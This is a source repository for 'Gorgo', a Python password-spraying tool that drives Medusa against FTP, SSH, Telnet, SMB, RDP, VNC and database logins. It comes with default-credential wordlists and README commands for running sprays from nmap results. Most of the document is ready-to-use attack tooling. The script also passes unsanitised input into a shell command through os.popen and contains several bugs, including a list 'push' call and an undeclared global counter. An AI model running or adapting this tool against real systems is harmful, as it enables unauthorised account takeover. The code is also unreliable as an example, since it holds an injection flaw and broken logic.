├── usernames.txt ├── .gitignore ├── passwords.txt ├── requirements.txt ├── usernames ├── ftp.txt ├── generic.txt ├── telnet.txt ├── ssh.txt └── windows.txt ├── passwords ├── vnc.txt ├── ftp.txt ├── telnet.txt ├── windows.txt └── ssh.txt ├── LICENSE ├── README.md └── gorgo.py /usernames.txt: -------------------------------------------------------------------------------- 1 | anonymous 2 | admin 3 | root 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | hosts.json 2 | gorgo.log 3 | gorgo.log.pwned 4 | -------------------------------------------------------------------------------- /passwords.txt: -------------------------------------------------------------------------------- 1 | admin 2 | 12345 3 | root 4 | calvin 5 | administrator 6 | pass 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tqdm==4.36.1 2 | colorama==0.4.4 3 | python-libnmap==0.7.2 4 | -------------------------------------------------------------------------------- /usernames/ftp.txt: -------------------------------------------------------------------------------- 1 | admin 2 | root 3 | user 4 | ftp 5 | apc 6 | supervisor 7 | ftpuser 8 | ftp_boot 9 | default 10 | anonymous 11 | Guest 12 | -------------------------------------------------------------------------------- /passwords/vnc.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | 12345 3 | password123 4 | vnc_pcc 5 | password 6 | admin 7 | Administrator 8 | 1234 9 | pass 10 | raspberry 11 | pass1 12 | pass2 13 | instrument 14 | vnc 15 | -------------------------------------------------------------------------------- /usernames/generic.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | test 4 | guest 5 | info 6 | adm 7 | mysql 8 | user 9 | administrator 10 | oracle 11 | ftp 12 | pi 13 | puppet 14 | ansible 15 | ec2-user 16 | vagrant 17 | azureuser 18 | -------------------------------------------------------------------------------- /usernames/telnet.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | guest 4 | default 5 | administrator 6 | user 7 | Administrator 8 | ubnt 9 | tech 10 | support 11 | supervisor 12 | ftpuser 13 | device 14 | debug 15 | cisco 16 | apc 17 | -------------------------------------------------------------------------------- /passwords/ftp.txt: -------------------------------------------------------------------------------- 1 | password 2 | 1234 3 | ftp 4 | apc 5 | admin 6 | default 7 | wsupgrade 8 | user 9 | testingpw 10 | system 11 | supervisor 12 | none 13 | nas 14 | guest 15 | ftp_boot 16 | anonymous 17 | 123456 18 | 12345 19 | -------------------------------------------------------------------------------- /usernames/ssh.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | debian 4 | user 5 | default 6 | administrator 7 | vagrant 8 | ubuntu 9 | ubnt 10 | support 11 | student 12 | public 13 | ftp 14 | elk_user 15 | device 16 | demo 17 | cisco 18 | cirros 19 | centos 20 | apc 21 | -------------------------------------------------------------------------------- /usernames/windows.txt: -------------------------------------------------------------------------------- 1 | Administrator 2 | Guest 3 | IEUser 4 | admin 5 | administrator 6 | demo 7 | instrument 8 | john 9 | maxadmin 10 | maxreg 11 | mxintadm 12 | nmt 13 | openhabian 14 | root 15 | secure 16 | sonos 17 | user 18 | vagrant 19 | wasadmin 20 | -------------------------------------------------------------------------------- /passwords/telnet.txt: -------------------------------------------------------------------------------- 1 | password 2 | admin 3 | 12345 4 | user 5 | guest 6 | 1234 7 | wago 8 | system 9 | root 10 | apc 11 | 123456 12 | 1111 13 | ubnt 14 | supervisor 15 | superuser 16 | service 17 | rootpasswd 18 | realtek 19 | public 20 | private 21 | pass 22 | none 23 | localadmin 24 | linux 25 | -------------------------------------------------------------------------------- /passwords/windows.txt: -------------------------------------------------------------------------------- 1 | vagrant 2 | admin 3 | Wyse#123 4 | 1234 5 | 6 | wasadmin 7 | trinity 8 | sonos 9 | password 10 | openhabian 11 | mxintadm 12 | maxreg 13 | maxadmin 14 | m9ff.QW 15 | instrument 16 | SecurityMaster08 17 | Password123! 18 | Passw0rd! 19 | FELDTECH 20 | Administrator 21 | 123456 22 | 12345 23 | -------------------------------------------------------------------------------- /passwords/ssh.txt: -------------------------------------------------------------------------------- 1 | password 2 | vagrant 3 | ubnt 4 | debian 5 | apc 6 | Password1234 7 | user 8 | ubuntu1404 9 | ubuntu 10 | training 11 | toor 12 | superuser 13 | roottoor 14 | rootpasswd 15 | root 16 | raspberry 17 | plex 18 | pfsense 19 | password123 20 | p@ssw0rd 21 | p@ck3tf3nc3 22 | openvpnas 23 | openmediavault 24 | calvin 25 | admin 26 | 123456 27 | 12345 28 | 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 pry0cc 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Gorgo 2 | The vertasile multi-threaded password sprayer built on the shoulders of giants. 3 | --- 4 | Gorgo is a fast and option-rich password sprayer for traditional network protocols. Gorgo multi-threads Medusa to distribute spraying in a way that Medusa cannot do out of the box. 5 | 6 | For example, Gorgo can generate username:password permutations ahead of time so that you can adjust the order by hand if needed. This file can also be split for distributed scanning such as use with [axiom](https://github.com/pry0cc/axiom). 7 | 8 | ## Why? 9 | I built Gorgo because I wasn't a fan of the current tools that are out there for password spraying 'dumb' protocols in a smart way. I wanted to change that. 10 | 11 | # Usage 12 | ``` 13 | usage: gorgo.py [-h] [-x X] [-iL IL] [-H H] [-U U] [-P P] [--protocols PROTOCOLS] [--generate] [--threads THREADS] [-o O] [--run] [--random RANDOM] 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | -x X Nmap file to scan for inputs 18 | -iL IL Take pre-permutations as input (must be generated with -g) 19 | -H H Hosts to spray against. 20 | -U U Username file spray (username per newline) 21 | -P P Password file spray (username per newline) 22 | --protocols PROTOCOLS 23 | Protocols to spray 24 | --generate Only generate permutations 25 | --threads THREADS Threads to spray 26 | -o O Output filename 27 | --run Run spray 28 | --random RANDOM Randomize target list 29 | ``` 30 | 31 | ## Custom List Generation 32 | There are often times when you want to be very specific about what combinations you want to try. You may want to treat host types differently also. For example, you may only want to only try a few usernames for windows accounts, because of lockouts, whereas you might try more on Unix-like services such as SSH. 33 | 34 | By outputting the combinations into a CSV file, you can go in by hand and remove and tweak the file before running the scan. It also allows you to distribute it to an array of distributed workers - such as through axiom. 35 | 36 | ## Using --generate 37 | ``` 38 | ./gorgo.py -U unix-usernames.txt -P passwords.txt -H hosts-unix.txt --protocols ftp:21,ssh:22 --generate -o perms_unix.csv 39 | ./gorgo.py -U windows-usernames.txt -P passwords.txt -H hosts-windows.txt --protocols smb:445,rdp:3389 --generate -o perms_windows.csv 40 | ./gorgo.py -U database-usernames.txt -P passwords.txt -H hosts-database.txt --protocols mssql:1433 --generate -o perms_db.csv 41 | 42 | cat perms_unix.csv perms_windows.csv perms_db.csv > combo.csv 43 | 44 | ./gorgo.py -iL combo.csv -o spray.log 45 | ``` 46 | 47 | ## Using -x 48 | If you want to import nmap xml results, gorgo will map selected protocols to ports regardless of port numbers. 49 | ``` 50 | ./gorgo.py -x nmap.xml -U usernames.txt -P passwords.txt -H hosts.txt --protocols ssh --generate -o perms.csv 51 | 52 | ./gorgo.py -iL perms.csv 53 | ``` 54 | 55 | ## Using --run 56 | You don't have to generate a CSV, you can go yolo mode if you want. 57 | 58 | ``` 59 | ./gorgo.py -x nmap.xml -U usernames.txt -P passwords.txt --protocols ssh -o gorgo.log --run 60 | ./gorgo.py -U usernames.txt -P passwords.txt -H hosts.txt --protocols ssh:22,rdp:3389 -o gorgo.log --run 61 | ``` 62 | 63 | ### Convert JSON output to CSV using Jq 64 | ``` 65 | cat gorgo.log.pwned | jq -r 'to_entries | [.[].value] | @csv' 66 | ``` 67 | -------------------------------------------------------------------------------- /gorgo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import concurrent.futures 5 | import threading 6 | import csv 7 | import os 8 | import json 9 | import random 10 | import signal 11 | import sys 12 | 13 | from pathlib import Path 14 | from tqdm import tqdm 15 | 16 | from colorama import Fore 17 | from colorama import Style 18 | 19 | from libnmap.parser import NmapParser 20 | 21 | parser = argparse.ArgumentParser() 22 | parser.add_argument('-x', help='Nmap file to scan for inputs') 23 | parser.add_argument('-iL', help='Take pre-permutations as input (must be generated with -g)') 24 | parser.add_argument('-H', help='Hosts to spray against.') 25 | parser.add_argument('-U', help='Username file spray (username per newline)') 26 | parser.add_argument('-P', help='Password file spray (username per newline)') 27 | parser.add_argument('--protocols', help='Protocols to spray') 28 | parser.add_argument('--generate',action='store_true', help='Only generate permutations') 29 | parser.add_argument('--threads', default=25, help='Threads to spray') 30 | parser.add_argument('-o', default='gorgo.log', help='Output filename') 31 | parser.add_argument('--run', action='store_true', help='Run spray') 32 | parser.add_argument('--random', action='store_true', help='Randomize target list') 33 | args = parser.parse_args() 34 | 35 | thread_local = threading.local() 36 | threads = 30 37 | pwned = 0 38 | outfile = args.o 39 | pbar = tqdm() 40 | 41 | def auth_attempt(attempt): 42 | ip = attempt["ip"] 43 | username = attempt["username"] 44 | password = attempt["password"] 45 | service = attempt["service"] 46 | port = attempt["port"] 47 | pbar.update(1) 48 | pbar.refresh() 49 | 50 | tqdm.write(f"[{Fore.GREEN}INF{Style.RESET_ALL}] {Fore.BLUE}Trying: {service}://{username}:{password}@{ip}:{port}{Style.RESET_ALL}") 51 | 52 | output = os.popen(f'medusa -b -h {ip} -u "{username}" -p "{password}" -M "{service}" -n "{port}" 2>&1').read() 53 | with open(outfile, 'a') as f: 54 | f.write(output + os.linesep) 55 | f.close() 56 | 57 | if "[SUCCESS]" in output: 58 | tqdm.write(f'{Fore.GREEN}AUTHENTICATION SUCCESSFUL! {Fore.YELLOW}{service}://{username}:{password}@{ip}:{port}{Style.RESET_ALL}') 59 | tqdm.write(f'{Fore.GREEN}{output}{Style.RESET_ALL}') 60 | with open(outfile+'.pwned', 'a') as f: 61 | f.write(json.dumps(attempt) + os.linesep) 62 | f.close() 63 | pwned += 1 64 | else: 65 | tqdm.write(f'{Fore.BLUE}{output}{Style.RESET_ALL}') 66 | 67 | def bulk_attempts(attempts): 68 | tqdm.write(f'{Fore.BLUE}Starting password spray against {len(attempts)} total hosts using {threads} threads...{Style.RESET_ALL}') 69 | with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: 70 | executor.map(auth_attempt, attempts) 71 | 72 | tqdm.write(f'{Fore.GREEN}Spray complete against {len(attempts)} total hosts!{Style.RESET_ALL}') 73 | tqdm.write(f'{Fore.RED}Discovered {pwned} user accounts!{Style.RESET_ALL}') 74 | 75 | def parse_row(row): 76 | ip = row[0] 77 | username = row[1] 78 | password = row[2] 79 | service = row[3] 80 | port = row[4] 81 | 82 | return {'ip':ip, 'username':username, 'password':password, 'service':service, 'port':port} 83 | 84 | def input_csv(filename): 85 | with open(filename, newline="") as csvfile: 86 | reader = csv.reader(csvfile, delimiter=',', quotechar='"') 87 | attempts = [] 88 | 89 | for row in reader: 90 | attempts.push(parse_row(row)) 91 | 92 | bulk_attempts(attempts) 93 | 94 | def generate_permutations(hosts, usernames, passwords, protocols): 95 | attempts = [] 96 | for password in passwords: 97 | for username in usernames: 98 | for protocol in protocols: 99 | service = protocol.split(":")[0] 100 | port = protocol.split(":")[1] 101 | for host in hosts: 102 | attempts.append({ 103 | 'ip':host, 104 | 'username':username, 105 | 'password':password, 106 | 'service':service, 107 | 'port':port}) 108 | 109 | return attempts 110 | 111 | def generate_permutations_nmap(hosts, usernames, passwords, protocols): 112 | attempts = [] 113 | 114 | for password in passwords: 115 | for username in usernames: 116 | for host in hosts: 117 | if host["service"] in protocols: 118 | attempts.append({'ip':host["ip"], 'username':username, 'password':password, 'service':host["service"], 'port':host["port"]}) 119 | 120 | return attempts 121 | 122 | def save_to_csv(data, filename): 123 | with open(filename, 'w', newline='') as csvfile: 124 | fieldnames = data[0].keys() 125 | writer = csv.DictWriter(csvfile, fieldnames=fieldnames, quoting=csv.QUOTE_ALL) 126 | writer.writeheader() 127 | for attempt in data: 128 | writer.writerow(attempt) 129 | 130 | print(f'{Fore.GREEN}Saved %i permutations to %s {Style.RESET_ALL}' % (len(data), filename)) 131 | 132 | def parse_file(filename): 133 | if Path(filename).is_file(): 134 | with open(filename, 'r') as f: 135 | return f.read().split('\n') 136 | else: 137 | print(f'{Fore.RED}Error: File %s not found{Style.RESET_ALL}' % (filename)) 138 | quit() 139 | 140 | def parse_nmap(filename, protocols): 141 | nmap = NmapParser.parse_fromfile(filename) 142 | attack_vectors = [] 143 | 144 | for host in nmap.hosts: 145 | for service in host.services: 146 | svc = service.service.lower() 147 | if service.state == 'open': 148 | if svc in protocols: 149 | attack_vectors.append({'ip':host.address, 'port':service.port, 'service':svc}) 150 | 151 | return attack_vectors 152 | 153 | def parse_csv(filename): 154 | attempts = [] 155 | with open(filename, newline='') as csvfile: 156 | reader = csv.reader(csvfile, delimiter=',', quotechar='"') 157 | 158 | for row in reader: 159 | attempts.append({'ip':row[0], 'username':row[1], 'password':row[2], 'service':row[3], 'port':row[4]}) 160 | 161 | return attempts 162 | 163 | def main(): 164 | signal.signal(signal.SIGINT, lambda x, y: sys.exit(0)) 165 | if (args.generate or args.run) or (args.U and args.P and args.protocols): 166 | if (args.U and args.P and args.protocols): 167 | usernames = parse_file(args.U) 168 | passwords = parse_file(args.P) 169 | protocols = args.protocols.split(",") 170 | if args.x: 171 | hosts = parse_nmap(args.x, protocols) 172 | attempts = generate_permutations_nmap(hosts, usernames, passwords, protocols) 173 | elif args.iL: 174 | attempts = parse_csv(args.iL) 175 | elif args.H: 176 | hosts = parse_file(args.H) 177 | attempts = generate_permutations(hosts, usernames, passwords, protocols) 178 | 179 | if args.random: 180 | random.shuffle(attempts) 181 | 182 | if args.run: 183 | pbar.total = len(attempts) 184 | pbar.refresh() 185 | bulk_attempts(attempts) 186 | elif args.generate: 187 | save_to_csv(attempts, args.o) 188 | else: 189 | parser.print_help() 190 | 191 | 192 | if __name__ == '__main__': 193 | try: 194 | main() 195 | except KeyboardInterrupt: 196 | passwords --------------------------------------------------------------------------------